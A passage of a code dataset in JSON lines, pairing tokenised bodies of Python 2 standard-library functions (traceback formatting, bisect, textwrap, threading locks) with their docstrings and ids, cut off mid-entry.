{"signature": "def print_list(extracted_list, file=None):", "body": "if file is None:<EOL><INDENT>file = sys.stderr<EOL><DEDENT>for filename, lineno, name, line in extracted_list:<EOL><INDENT>_print(file,<EOL>'<STR_LIT>' % (filename,lineno,name))<EOL>if line:<EOL><INDENT>_print(file, '<STR_LIT>' % line.strip())<EOL><DEDENT><DEDENT>", "docstring": "Print the list of tuples as returned by extract_tb() or\n    extract_stack() as a formatted stack trace to the given file.", "id": "f16448:m1"}
{"signature": "def format_list(extracted_list):", "body": "list = []<EOL>for filename, lineno, name, line in extracted_list:<EOL><INDENT>item = '<STR_LIT>' % (filename,lineno,name)<EOL>if line:<EOL><INDENT>item = item + '<STR_LIT>' % line.strip()<EOL><DEDENT>list.append(item)<EOL><DEDENT>return list<EOL>", "docstring": "Format a list of traceback entry tuples for printing.\n\n    Given a list of tuples as returned by extract_tb() or\n    extract_stack(), return a list of strings ready for printing.\n    Each string in the resulting list corresponds to the item with the\n    same index in the argument list.  Each string ends in a newline;\n    the strings may contain internal newlines as well, for those items\n    whose source text line is not None.", "id": "f16448:m2"}
{"signature": "def print_tb(tb, limit=None, file=None):", "body": "if file is None:<EOL><INDENT>file = sys.stderr<EOL><DEDENT>if limit is None:<EOL><INDENT>if hasattr(sys, '<STR_LIT>'):<EOL><INDENT>limit = sys.tracebacklimit<EOL><DEDENT><DEDENT>n = <NUM_LIT:0><EOL>while tb is not None and (limit is None or n < limit):<EOL><INDENT>f = tb.tb_frame<EOL>lineno = tb.tb_lineno<EOL>co = f.f_code<EOL>filename = co.co_filename<EOL>name = co.co_name<EOL>_print(file,<EOL>'<STR_LIT>' % (filename, lineno, name))<EOL>linecache.checkcache(filename)<EOL>line = linecache.getline(filename, lineno, f.f_globals)<EOL>if line: _print(file, '<STR_LIT:U+0020>' + line.strip())<EOL>tb = tb.tb_next<EOL>n = n+<NUM_LIT:1><EOL><DEDENT>", "docstring": "Print up to 'limit' stack trace entries from the traceback 'tb'.\n\n    If 'limit' is omitted or None, all entries are printed.  If 'file'\n    is omitted or None, the output goes to sys.stderr; otherwise\n    'file' should be an open file or file-like object with a write()\n    method.", "id": "f16448:m3"}
{"signature": "def format_tb(tb, limit = None):", "body": "return format_list(extract_tb(tb, limit))<EOL>", "docstring": "A shorthand for 'format_list(extract_tb(tb, limit))'.", "id": "f16448:m4"}
{"signature": "def extract_tb(tb, limit = None):", "body": "if limit is None:<EOL><INDENT>if hasattr(sys, '<STR_LIT>'):<EOL><INDENT>limit = sys.tracebacklimit<EOL><DEDENT><DEDENT>list = []<EOL>n = <NUM_LIT:0><EOL>while tb is not None and (limit is None or n < limit):<EOL><INDENT>f = tb.tb_frame<EOL>lineno = tb.tb_lineno<EOL>co = f.f_code<EOL>filename = co.co_filename<EOL>name = co.co_name<EOL>linecache.checkcache(filename)<EOL>line = linecache.getline(filename, lineno, f.f_globals)<EOL>if line: line = line.strip()<EOL>else: line = None<EOL>list.append((filename, lineno, name, line))<EOL>tb = tb.tb_next<EOL>n = n+<NUM_LIT:1><EOL><DEDENT>return list<EOL>", "docstring": "Return list of up to limit pre-processed entries from traceback.\n\n    This is useful for alternate formatting of stack traces.  If\n    'limit' is omitted or None, all entries are extracted.  A\n    pre-processed stack trace entry is a quadruple (filename, line\n    number, function name, text) representing the information that is\n    usually printed for a stack trace.  The text is a string with\n    leading and trailing whitespace stripped; if the source is not\n    available it is None.", "id": "f16448:m5"}
{"signature": "def print_exception(etype, value, tb, limit=None, file=None):", "body": "if file is None:<EOL><INDENT>file = open('<STR_LIT>', '<STR_LIT:w>')<EOL><DEDENT>if tb:<EOL><INDENT>_print(file, '<STR_LIT>')<EOL>print_tb(tb, limit, file)<EOL><DEDENT>lines = format_exception_only(etype, value)<EOL>for line in lines:<EOL><INDENT>_print(file, line, '<STR_LIT>')<EOL><DEDENT>", "docstring": "Print exception up to 'limit' stack trace entries from 'tb' to 'file'.\n\n    This differs from print_tb() in the following ways: (1) if\n    traceback is not None, it prints a header \"Traceback (most recent\n    call last):\"; (2) it prints the exception type and value after the\n    stack trace; (3) if type is SyntaxError and value has the\n    appropriate format, it prints the line where the syntax error\n    occurred with a caret on the next line indicating the approximate\n    position of the error.", "id": "f16448:m6"}
{"signature": "def format_exception(etype, value, tb, limit = None):", "body": "if tb:<EOL><INDENT>list = ['<STR_LIT>']<EOL>list = list + format_tb(tb, limit)<EOL><DEDENT>else:<EOL><INDENT>list = []<EOL><DEDENT>list = list + format_exception_only(etype, value)<EOL>return list<EOL>", "docstring": "Format a stack trace and the exception information.\n\n    The arguments have the same meaning as the corresponding arguments\n    to print_exception().  The return value is a list of strings, each\n    ending in a newline and some containing internal newlines.  When\n    these lines are concatenated and printed, exactly the same text is\n    printed as does print_exception().", "id": "f16448:m7"}
{"signature": "def format_exception_only(etype, value):", "body": "<EOL>if (isinstance(etype, BaseException) or<EOL>isinstance(etype, types.InstanceType) or<EOL>etype is None or type(etype) is str):<EOL><INDENT>return [_format_final_exc_line(etype, value)]<EOL><DEDENT>stype = etype.__name__<EOL>if not issubclass(etype, SyntaxError):<EOL><INDENT>return [_format_final_exc_line(stype, value)]<EOL><DEDENT>lines = []<EOL>try:<EOL><INDENT>msg, (filename, lineno, offset, badline) = value.args<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>filename = filename or \"<STR_LIT>\"<EOL>lines.append('<STR_LIT>' % (filename, lineno))<EOL>if badline is not None:<EOL><INDENT>lines.append('<STR_LIT>' % badline.strip())<EOL>if offset is not None:<EOL><INDENT>caretspace = badline.rstrip('<STR_LIT:\\n>')<EOL>offset = min(len(caretspace), offset) - <NUM_LIT:1><EOL>caretspace = caretspace[:offset].lstrip()<EOL>caretspace = ((c.isspace() and c or '<STR_LIT:U+0020>') for c in caretspace)<EOL>lines.append('<STR_LIT>' % '<STR_LIT>'.join(caretspace))<EOL><DEDENT><DEDENT>value = msg<EOL><DEDENT>lines.append(_format_final_exc_line(stype, value))<EOL>return lines<EOL>", "docstring": "Format the exception part of a traceback.\n\n    The arguments are the exception type and value such as given by\n    sys.last_type and sys.last_value. The return value is a list of\n    strings, each ending in a newline.\n\n    Normally, the list contains a single string; however, for\n    SyntaxError exceptions, it contains several lines that (when\n    printed) display detailed information about where the syntax\n    error occurred.\n\n    The message indicating which exception occurred is always the last\n    string in the list.", "id": "f16448:m8"}
{"signature": "def _format_final_exc_line(etype, value):", "body": "valuestr = _some_str(value)<EOL>if value is None or not valuestr:<EOL><INDENT>line = \"<STR_LIT>\" % etype<EOL><DEDENT>else:<EOL><INDENT>line = \"<STR_LIT>\" % (etype, valuestr)<EOL><DEDENT>return line<EOL>", "docstring": "Return a list of a single line -- normal case for format_exception_only", "id": "f16448:m9"}
{"signature": "def print_exc(limit=None, file=None):", "body": "if file is None:<EOL><INDENT>file = open('<STR_LIT>', '<STR_LIT:w>')<EOL><DEDENT>try:<EOL><INDENT>etype, value, tb = sys.exc_info()<EOL>print_exception(etype, value, tb, limit, file)<EOL><DEDENT>finally:<EOL><INDENT>etype = value = tb = None<EOL><DEDENT>", "docstring": "Shorthand for 'print_exception(sys.exc_type, sys.exc_value, sys.exc_traceback, limit, file)'.\n    (In fact, it uses sys.exc_info() to retrieve the same information\n    in a thread-safe way.)", "id": "f16448:m11"}
{"signature": "def format_exc(limit=None):", "body": "try:<EOL><INDENT>etype, value, tb = sys.exc_info()<EOL>return '<STR_LIT>'.join(format_exception(etype, value, tb, limit))<EOL><DEDENT>finally:<EOL><INDENT>etype = value = tb = None<EOL><DEDENT>", "docstring": "Like print_exc() but return a string.", "id": "f16448:m12"}
{"signature": "def print_last(limit=None, file=None):", "body": "if not hasattr(sys, \"<STR_LIT>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if file is None:<EOL><INDENT>file = sys.stderr<EOL><DEDENT>print_exception(sys.last_type, sys.last_value, sys.last_traceback,<EOL>limit, file)<EOL>", "docstring": "This is a shorthand for 'print_exception(sys.last_type,\n    sys.last_value, sys.last_traceback, limit, file)'.", "id": "f16448:m13"}
{"signature": "def print_stack(f=None, limit=None, file=None):", "body": "if f is None:<EOL><INDENT>try:<EOL><INDENT>raise ZeroDivisionError<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>f = sys.exc_info()[<NUM_LIT:2>].tb_frame.f_back<EOL><DEDENT><DEDENT>print_list(extract_stack(f, limit), file)<EOL>", "docstring": "Print a stack trace from its invocation point.\n\n    The optional 'f' argument can be used to specify an alternate\n    stack frame at which to start. The optional 'limit' and 'file'\n    arguments have the same meaning as for print_exception().", "id": "f16448:m14"}
{"signature": "def format_stack(f=None, limit=None):", "body": "if f is None:<EOL><INDENT>try:<EOL><INDENT>raise ZeroDivisionError<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>f = sys.exc_info()[<NUM_LIT:2>].tb_frame.f_back<EOL><DEDENT><DEDENT>return format_list(extract_stack(f, limit))<EOL>", "docstring": "Shorthand for 'format_list(extract_stack(f, limit))'.", "id": "f16448:m15"}
{"signature": "def extract_stack(f=None, limit = None):", "body": "if f is None:<EOL><INDENT>try:<EOL><INDENT>raise ZeroDivisionError<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>f = sys.exc_info()[<NUM_LIT:2>].tb_frame.f_back<EOL><DEDENT><DEDENT>if limit is None:<EOL><INDENT>if hasattr(sys, '<STR_LIT>'):<EOL><INDENT>limit = sys.tracebacklimit<EOL><DEDENT><DEDENT>list = []<EOL>n = <NUM_LIT:0><EOL>while f is not None and (limit is None or n < limit):<EOL><INDENT>lineno = f.f_lineno<EOL>co = f.f_code<EOL>filename = co.co_filename<EOL>name = co.co_name<EOL>linecache.checkcache(filename)<EOL>line = linecache.getline(filename, lineno, f.f_globals)<EOL>if line: line = line.strip()<EOL>else: line = None<EOL>list.append((filename, lineno, name, line))<EOL>f = f.f_back<EOL>n = n+<NUM_LIT:1><EOL><DEDENT>list.reverse()<EOL>return list<EOL>", "docstring": "Extract the raw traceback from the current stack frame.\n\n    The return value has the same format as for extract_tb().  The\n    optional 'f' and 'limit' arguments have the same meaning as for\n    print_stack().  Each item in the list is a quadruple (filename,\n    line number, function name, text), and the entries are in order\n    from oldest to newest stack frame.", "id": "f16448:m16"}
{"signature": "def tb_lineno(tb):", "body": "return tb.tb_lineno<EOL>", "docstring": "Calculate correct line number of traceback given in tb.\n\n    Obsolete in 2.3.", "id": "f16448:m17"}
{"signature": "def insort_right(a, x, lo=<NUM_LIT:0>, hi=None):", "body": "if lo < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if hi is None:<EOL><INDENT>hi = len(a)<EOL><DEDENT>while lo < hi:<EOL><INDENT>mid = (lo+hi)//<NUM_LIT:2><EOL>if x < a[mid]: hi = mid<EOL>else: lo = mid+<NUM_LIT:1><EOL><DEDENT>a.insert(lo, x)<EOL>", "docstring": "Insert item x in list a, and keep it sorted assuming a is sorted.\n\n    If x is already in a, insert it to the right of the rightmost x.\n\n    Optional args lo (default 0) and hi (default len(a)) bound the\n    slice of a to be searched.", "id": "f16449:m0"}
{"signature": "def bisect_right(a, x, lo=<NUM_LIT:0>, hi=None):", "body": "if lo < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if hi is None:<EOL><INDENT>hi = len(a)<EOL><DEDENT>while lo < hi:<EOL><INDENT>mid = (lo+hi)//<NUM_LIT:2><EOL>if x < a[mid]: hi = mid<EOL>else: lo = mid+<NUM_LIT:1><EOL><DEDENT>return lo<EOL>", "docstring": "Return the index where to insert item x in list a, assuming a is sorted.\n\n    The return value i is such that all e in a[:i] have e <= x, and all e in\n    a[i:] have e > x.  So if x already appears in the list, a.insert(x) will\n    insert just after the rightmost x already there.\n\n    Optional args lo (default 0) and hi (default len(a)) bound the\n    slice of a to be searched.", "id": "f16449:m1"}
{"signature": "def insort_left(a, x, lo=<NUM_LIT:0>, hi=None):", "body": "if lo < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if hi is None:<EOL><INDENT>hi = len(a)<EOL><DEDENT>while lo < hi:<EOL><INDENT>mid = (lo+hi)//<NUM_LIT:2><EOL>if a[mid] < x: lo = mid+<NUM_LIT:1><EOL>else: hi = mid<EOL><DEDENT>a.insert(lo, x)<EOL>", "docstring": "Insert item x in list a, and keep it sorted assuming a is sorted.\n\n    If x is already in a, insert it to the left of the leftmost x.\n\n    Optional args lo (default 0) and hi (default len(a)) bound the\n    slice of a to be searched.", "id": "f16449:m2"}
{"signature": "def bisect_left(a, x, lo=<NUM_LIT:0>, hi=None):", "body": "if lo < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if hi is None:<EOL><INDENT>hi = len(a)<EOL><DEDENT>while lo < hi:<EOL><INDENT>mid = (lo+hi)//<NUM_LIT:2><EOL>if a[mid] < x: lo = mid+<NUM_LIT:1><EOL>else: hi = mid<EOL><DEDENT>return lo<EOL>", "docstring": "Return the index where to insert item x in list a, assuming a is sorted.\n\n    The return value i is such that all e in a[:i] have e < x, and all e in\n    a[i:] have e >= x.  So if x already appears in the list, a.insert(x) will\n    insert just before the leftmost x already there.\n\n    Optional args lo (default 0) and hi (default len(a)) bound the\n    slice of a to be searched.", "id": "f16449:m3"}
{"signature": "def wrap(text, width=<NUM_LIT>, **kwargs):", "body": "w = TextWrapper(width=width, **kwargs)<EOL>return w.wrap(text)<EOL>", "docstring": "Wrap a single paragraph of text, returning a list of wrapped lines.\n\n    Reformat the single paragraph in 'text' so it fits in lines of no\n    more than 'width' columns, and return a list of wrapped lines.  By\n    default, tabs in 'text' are expanded with string.expandtabs(), and\n    all other whitespace characters (including newline) are converted to\n    space.  See TextWrapper class for available keyword args to customize\n    wrapping behaviour.", "id": "f16450:m0"}
{"signature": "def fill(text, width=<NUM_LIT>, **kwargs):", "body": "w = TextWrapper(width=width, **kwargs)<EOL>return w.fill(text)<EOL>", "docstring": "Fill a single paragraph of text, returning a new string.\n\n    Reformat the single paragraph in 'text' to fit in lines of no more\n    than 'width' columns, and return a new string containing the entire\n    wrapped paragraph.  As with wrap(), tabs are expanded and other\n    whitespace characters converted to space.  See TextWrapper class for\n    available keyword args to customize wrapping behaviour.", "id": "f16450:m1"}
{"signature": "def dedent(text):", "body": "<EOL>margin = None<EOL>text = _whitespace_only_re.sub('<STR_LIT>', text)<EOL>indents = _leading_whitespace_re.findall(text)<EOL>for indent in indents:<EOL><INDENT>if margin is None:<EOL><INDENT>margin = indent<EOL><DEDENT>elif indent.startswith(margin):<EOL><INDENT>pass<EOL><DEDENT>elif margin.startswith(indent):<EOL><INDENT>margin = indent<EOL><DEDENT>else:<EOL><INDENT>for i, (x, y) in enumerate(zip(margin, indent)):<EOL><INDENT>if x != y:<EOL><INDENT>margin = margin[:i]<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>margin = margin[:len(indent)]<EOL><DEDENT><DEDENT><DEDENT>if <NUM_LIT:0> and margin:<EOL><INDENT>for line in text.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>assert not line or line.startswith(margin),\"<STR_LIT>\" % (line, margin)<EOL><DEDENT><DEDENT>if margin:<EOL><INDENT>text = re.sub(r'<STR_LIT>' + margin, '<STR_LIT>', text)<EOL><DEDENT>return text<EOL>", "docstring": "Remove any common leading whitespace from every line in `text`.\n\n    This can be used to make triple-quoted strings line up with the left\n    edge of the display, while still presenting them in the source code\n    in indented form.\n\n    Note that tabs and spaces are both treated as whitespace, but they\n    are not equal: the lines \"  hello\" and \"\\\\thello\" are\n    considered to have no common leading whitespace.  (This behaviour is\n    new in Python 2.5; older versions of this module incorrectly\n    expanded tabs before searching for common leading whitespace.)", "id": "f16450:m2"}
{"signature": "def _munge_whitespace(self, text):", "body": "if self.expand_tabs:<EOL><INDENT>text = '<STR_LIT:U+0020>'.join(('<STR_LIT:U+0020>'.join(text.split('<STR_LIT:\\n>'))).split('<STR_LIT:\\t>'))<EOL><DEDENT>if self.replace_whitespace:<EOL><INDENT>text = '<STR_LIT:U+0020>'.join('<STR_LIT:U+0020>'.join(text.split('<STR_LIT:\\n>')).split('<STR_LIT:\\t>'))<EOL><DEDENT>return text<EOL>", "docstring": "_munge_whitespace(text : string) -> string\n\n        Munge whitespace in text: expand tabs and convert all other\n        whitespace characters to spaces.  Eg. \" foo\\\\tbar\\\\n\\\\nbaz\"\n        becomes \" foo    bar  baz\".", "id": "f16450:c0:m1"}
{"signature": "def _split(self, text):", "body": "if isinstance(text, _unicode):<EOL><INDENT>if self.break_on_hyphens:<EOL><INDENT>pat = self.wordsep_re_uni<EOL><DEDENT>else:<EOL><INDENT>pat = self.wordsep_simple_re_uni<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.break_on_hyphens:<EOL><INDENT>pat = self.wordsep_re<EOL><DEDENT>else:<EOL><INDENT>pat = self.wordsep_simple_re<EOL><DEDENT><DEDENT>chunks = pat.split(text)<EOL>chunks = [x for x in chunks if x is not None]<EOL>return chunks<EOL>", "docstring": "_split(text : string) -> [string]\n\n        Split the text to wrap into indivisible chunks.  Chunks are\n        not quite the same as words; see _wrap_chunks() for full\n        details.  As an example, the text\n          Look, goof-ball -- use the -b option!\n        breaks into the following chunks:\n          'Look,', ' ', 'goof-', 'ball', ' ', '--', ' ',\n          'use', ' ', 'the', ' ', '-b', ' ', 'option!'\n        if break_on_hyphens is True, or in:\n          'Look,', ' ', 'goof-ball', ' ', '--', ' ',\n          'use', ' ', 'the', ' ', '-b', ' ', option!'\n        otherwise.", "id": "f16450:c0:m2"}
{"signature": "def _fix_sentence_endings(self, chunks):", "body": "i = <NUM_LIT:0><EOL>patsearch = self.sentence_end_re.search<EOL>while i < len(chunks)-<NUM_LIT:1>:<EOL><INDENT>if chunks[i+<NUM_LIT:1>] == \"<STR_LIT:U+0020>\" and patsearch(chunks[i]):<EOL><INDENT>chunks[i+<NUM_LIT:1>] = \"<STR_LIT:U+0020>\"<EOL>i += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "_fix_sentence_endings(chunks : [string])\n\n        Correct for sentence endings buried in 'chunks'.  Eg. when the\n        original text contains \"... foo.\\\\nBar ...\", munge_whitespace()\n        and split() will convert that to [..., \"foo.\", \" \", \"Bar\", ...]\n        which has one too few spaces; this method simply changes the one\n        space to two.", "id": "f16450:c0:m3"}
{"signature": "def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):", "body": "<EOL>if width < <NUM_LIT:1>:<EOL><INDENT>space_left = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>space_left = width - cur_len<EOL><DEDENT>if self.break_long_words:<EOL><INDENT>cur_line.append(reversed_chunks[-<NUM_LIT:1>][:space_left])<EOL>reversed_chunks[-<NUM_LIT:1>] = reversed_chunks[-<NUM_LIT:1>][space_left:]<EOL><DEDENT>elif not cur_line:<EOL><INDENT>cur_line.append(reversed_chunks.pop())<EOL><DEDENT>", "docstring": "_handle_long_word(chunks : [string],\n                             cur_line : [string],\n                             cur_len : int, width : int)\n\n        Handle a chunk of text (most likely a word, not whitespace) that\n        is too long to fit in any line.", "id": "f16450:c0:m4"}
{"signature": "def _wrap_chunks(self, chunks):", "body": "lines = []<EOL>if self.width <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % self.width)<EOL><DEDENT>chunks.reverse()<EOL>while chunks:<EOL><INDENT>cur_line = []<EOL>cur_len = <NUM_LIT:0><EOL>if lines:<EOL><INDENT>indent = self.subsequent_indent<EOL><DEDENT>else:<EOL><INDENT>indent = self.initial_indent<EOL><DEDENT>width = self.width - len(indent)<EOL>if self.drop_whitespace and chunks[-<NUM_LIT:1>].strip() == '<STR_LIT>' and lines:<EOL><INDENT>chunks.pop()<EOL><DEDENT>while chunks:<EOL><INDENT>l = len(chunks[-<NUM_LIT:1>])<EOL>if cur_len + l <= width:<EOL><INDENT>cur_line.append(chunks.pop())<EOL>cur_len += l<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if chunks and len(chunks[-<NUM_LIT:1>]) > width:<EOL><INDENT>self._handle_long_word(chunks, cur_line, cur_len, width)<EOL><DEDENT>if self.drop_whitespace and cur_line and cur_line[-<NUM_LIT:1>].strip() == '<STR_LIT>':<EOL><INDENT>cur_line.pop()<EOL><DEDENT>if cur_line:<EOL><INDENT>lines.append(indent + '<STR_LIT>'.join(cur_line))<EOL><DEDENT><DEDENT>return lines<EOL>", "docstring": "_wrap_chunks(chunks : [string]) -> [string]\n\n        Wrap a sequence of text chunks and return a list of lines of\n        length 'self.width' or less.  (If 'break_long_words' is false,\n        some lines may be longer than this.)  Chunks correspond roughly\n        to words and the whitespace between them: each chunk is\n        indivisible (modulo 'break_long_words'), but a line break can\n        come between any two chunks.  Chunks should not have internal\n        whitespace; ie. a chunk is either all whitespace or a \"word\".\n        Whitespace chunks will be removed from the beginning and end of\n        lines, but apart from that whitespace is preserved.", "id": "f16450:c0:m5"}
{"signature": "def wrap(self, text):", "body": "text = self._munge_whitespace(text)<EOL>chunks = self._split(text)<EOL>if self.fix_sentence_endings:<EOL><INDENT>self._fix_sentence_endings(chunks)<EOL><DEDENT>return self._wrap_chunks(chunks)<EOL>", "docstring": "wrap(text : string) -> [string]\n\n        Reformat the single paragraph in 'text' so it fits in lines of\n        no more than 'self.width' columns, and return a list of wrapped\n        lines.  Tabs in 'text' are expanded with string.expandtabs(),\n        and all other whitespace characters (including newline) are\n        converted to space.", "id": "f16450:c0:m6"}
{"signature": "def fill(self, text):", "body": "return \"<STR_LIT:\\n>\".join(self.wrap(text))<EOL>", "docstring": "fill(text : string) -> string\n\n        Reformat the single paragraph in 'text' to fit in lines of no\n        more than 'self.width' columns, and return a new string\n        containing the entire wrapped paragraph.", "id": "f16450:c0:m7"}
{"signature": "def setprofile(func):", "body": "global _profile_hook<EOL>_profile_hook = func<EOL>", "docstring": "Set a profile function for all threads started from the threading module.\n\n    The func will be passed to sys.setprofile() for each thread, before its\n    run() method is called.", "id": "f16452:m0"}
{"signature": "def settrace(func):", "body": "global _trace_hook<EOL>_trace_hook = func<EOL>", "docstring": "Set a trace function for all threads started from the threading module.\n\n    The func will be passed to sys.settrace() for each thread, before its run()\n    method is called.", "id": "f16452:m1"}
{"signature": "def RLock(*args, **kwargs):", "body": "return _RLock(*args, **kwargs)<EOL>", "docstring": "Factory function that returns a new reentrant lock.\n\n    A reentrant lock must be released by the thread that acquired it. Once a\n    thread has acquired a reentrant lock, the same thread may acquire it again\n    without blocking; the thread must release it once for each time it has\n    acquired it.", "id": "f16452:m2"}
{"signature": "def Condition(*args, **kwargs):", "body": "return _Condition(*args, **kwargs)<EOL>", "docstring": "Factory function that returns a new condition variable object.\n\n    A condition variable allows one or more threads to wait until they are\n    notified by another thread.\n\n    If the lock argument is given and not None, it must be a Lock or RLock\n    object, and it is used as the underlying lock. Otherwise, a new RLock object\n    is created and used as the underlying lock.", "id": "f16452:m3"}
{"signature": "def Semaphore(*args, **kwargs):", "body": "return _Semaphore(*args, **kwargs)<EOL>", "docstring": "A factory function that returns a new semaphore.\n\n    Semaphores manage a counter representing the number of release() calls minus\n    the number of acquire() calls, plus an initial value. The acquire() method\n    blocks if necessary until it can return without making the counter\n    negative. If not given, value defaults to 1.", "id": "f16452:m4"}
{"signature": "def BoundedSemaphore(*args, **kwargs):", "body": "return _BoundedSemaphore(*args, **kwargs)<EOL>", "docstring": "A factory function that returns a new bounded semaphore.\n\n    A bounded semaphore checks to make sure its current value doesn't exceed its\n    initial value. If it does, ValueError is raised. In most situations\n    semaphores are used to guard resources with limited capacity.\n\n    If the semaphore is released too many times it's a sign of a bug. If not\n    given, value defaults to 1.\n\n    Like regular semaphores, bounded semaphores manage a counter representing\n    the number of release() calls minus the number of acquire() calls, plus an\n    initial value. The acquire() method blocks if necessary until it can return\n    without making the counter negative. If not given, value defaults to 1.", "id": "f16452:m5"}
{"signature": "def Event(*args, **kwargs):", "body": "return _Event(*args, **kwargs)<EOL>", "docstring": "A factory function that returns a new event.\n\n    Events manage a flag that can be set to true with the set() method and reset\n    to false with the clear() method. The wait() method blocks until the flag is\n    true.", "id": "f16452:m6"}
{"signature": "def Timer(*args, **kwargs):", "body": "return _Timer(*args, **kwargs)<EOL>", "docstring": "Factory function to create a Timer object.\n\n    Timers call a function after a specified number of seconds:\n\n        t = Timer(30.0, f, args=[], kwargs={})\n        t.start()\n        t.cancel()     # stop the timer's action if it's still waiting", "id": "f16452:m8"}
{"signature": "def currentThread():", "body": "try:<EOL><INDENT>return _active[_get_ident()]<EOL><DEDENT>except KeyError:<EOL><INDENT>return _DummyThread()<EOL><DEDENT>", "docstring": "Return the current Thread object, corresponding to the caller's thread of control.\n\n    If the caller's thread of control was not created through the threading\n    module, a dummy thread object with limited functionality is returned.", "id": "f16452:m10"}
{"signature": "def activeCount():", "body": "with _active_limbo_lock:<EOL><INDENT>return len(_active) + len(_limbo)<EOL><DEDENT>", "docstring": "Return the number of Thread objects currently alive.\n\n    The returned count is equal to the length of the list returned by\n    enumerate().", "id": "f16452:m11"}
{"signature": "def enumerate():", "body": "with _active_limbo_lock:<EOL><INDENT>return list(_active.values()) + list(_limbo.values())<EOL><DEDENT>", "docstring": "Return a list of all Thread objects currently alive.\n\n    The list includes daemonic threads, dummy thread objects created by\n    current_thread(), and the main thread. It excludes terminated threads and\n    threads that have not yet been started.", "id": "f16452:m13"}
{"signature": "def acquire(self, blocking=<NUM_LIT:1>):", "body": "me = _get_ident()<EOL>if self.__owner == me:<EOL><INDENT>self.__count = self.__count + <NUM_LIT:1><EOL>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self, blocking)<EOL><DEDENT>return <NUM_LIT:1><EOL><DEDENT>rc = self.__block.acquire(blocking)<EOL>if rc:<EOL><INDENT>self.__owner = me<EOL>self.__count = <NUM_LIT:1><EOL>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self, blocking)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self, blocking)<EOL><DEDENT><DEDENT>return rc<EOL>", "docstring": "Acquire a lock, blocking or non-blocking.\n\n        When invoked without arguments: if this thread already owns the lock,\n        increment the recursion level by one, and return immediately. Otherwise,\n        if another thread owns the lock, block until the lock is unlocked. Once\n        the lock is unlocked (not owned by any thread), then grab ownership, set\n        the recursion level to one, and return. If more than one thread is\n        blocked waiting until the lock is unlocked, only one at a time will be\n        able to grab ownership of the lock. There is no return value in this\n        case.\n\n        When invoked with the blocking argument set to true, do the same thing\n        as when called without arguments, and return true.\n\n        When invoked with the blocking argument set to false, do not block. If a\n        call without an argument would block, return false immediately;\n        otherwise, do the same thing as when called without arguments, and\n        return true.", "id": "f16452:c0:m2"}
{"signature": "def release(self):", "body": "if self.__owner != _get_ident():<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self.__count = count = self.__count - <NUM_LIT:1><EOL>if not count:<EOL><INDENT>self.__owner = None<EOL>self.__block.release()<EOL>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self)<EOL><DEDENT><DEDENT>", "docstring": "Release a lock, decrementing the recursion level.\n\n        If after the decrement it is zero, reset the lock to unlocked (not owned\n        by any thread), and if any other threads are blocked waiting for the\n        lock to become unlocked, allow exactly one of them to proceed. If after\n        the decrement the recursion level is still nonzero, the lock remains\n        locked and owned by the calling thread.\n\n        Only call this method when the calling thread owns the lock. A\n        RuntimeError is raised if this method is called when the lock is\n        unlocked.\n\n        There is no return value.", "id": "f16452:c0:m3"}
{"signature": "def wait(self, timeout=None):", "body": "if not self._is_owned():<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>waiter = _allocate_lock()<EOL>waiter.acquire()<EOL>self.__waiters.append(waiter)<EOL>saved_state = self._release_save()<EOL>try:    <EOL><INDENT>if timeout is None:<EOL><INDENT>waiter.acquire()<EOL>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>endtime = _time() + timeout<EOL>delay = <NUM_LIT> <EOL>while True:<EOL><INDENT>gotit = waiter.acquire(<NUM_LIT:0>)<EOL>if gotit:<EOL><INDENT>break<EOL><DEDENT>remaining = endtime - _time()<EOL>if remaining <= <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>delay = min(delay * <NUM_LIT:2>, remaining, <NUM_LIT>)<EOL>_sleep(delay)<EOL><DEDENT>if not gotit:<EOL><INDENT>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self, timeout)<EOL><DEDENT>try:<EOL><INDENT>self.__waiters.remove(waiter)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self, timeout)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>self._acquire_restore(saved_state)<EOL><DEDENT>", "docstring": "Wait until notified or until a timeout occurs.\n\n        If the calling thread has not acquired the lock when this method is\n        called, a RuntimeError is raised.\n\n        This method releases the underlying lock, and then blocks until it is\n        awakened by a notify() or notifyAll() call for the same condition\n        variable in another thread, or until the optional timeout occurs. Once\n        awakened or timed out, it re-acquires the lock and returns.\n\n        When the timeout argument is present and not None, it should be a\n        floating point number specifying a timeout for the operation in seconds\n   